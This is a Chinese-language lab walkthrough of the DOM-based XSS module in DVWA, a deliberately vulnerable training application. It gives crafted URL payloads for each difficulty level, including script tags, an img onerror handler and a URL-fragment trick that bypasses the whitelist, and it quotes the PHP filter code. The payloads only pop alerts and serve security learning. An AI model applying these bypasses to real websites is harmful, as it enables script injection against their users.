something about DVWA - XSS(DOM)
DVWA
XSS(DOM)
XSS是跨站脚本攻击Cross-site scripting。 DOM类型的XSS是基于DOM文档对象模型的一种漏洞。
Low
手动测试
在URL中构造恶意参数:
1
2
3# %3C <
# %3E >
http://train.com/dvwa/vulnerabilities/xss_d/?default=<script>alert("bad");</script>源码分析
纯前端内容,无特殊。
Medium
手动测试
由于禁止了
<script>
标签,因此改用<img/>
标签的onerror
机制。构造恶意URL:
1
2
3# `"</select>` 用于闭合`<select>标签`
# `<img/>` 用于恶意XSS
http://train.com/dvwa/vulnerabilities/xss_d/?default="</select><img src="1" onerror="alert('bad');"/>源码分析
禁止
<script>
标签:1
2
3
4
5# Do not allow script tags
if (stripos ($default, "<script") !== false) {
header ("location: ?default=English");
exit;
}
High
手动测试
尽管采用了白名单机制,但是,由于
php
和html
注释符的差异性,可以绕过;即php
注释掉的内容,在html
中会正常渲染。构造恶意URL
1
http://train.com/dvwa/vulnerabilities/xss_d/?default=French#<script>alert("bad");</script>
源码分析
采用白名单机制。
1
2
3
4
5
6
7
8
9
10
11
12# White list the allowable languages
switch ($_GET['default']) {
case "French":
case "English":
case "German":
case "Spanish":
# ok
break;
default:
header ("location: ?default=English");
exit;
}
Impossible
源码分析
服务端不做过多处理,客户端做防护:浏览器过滤XSS,过滤用户输入等。
XSS常用标签
script
1
<script>alert("bad");</script>
img
1
<img src="nothing" onerror="alert('bad');" />
something about DVWA - XSS(DOM)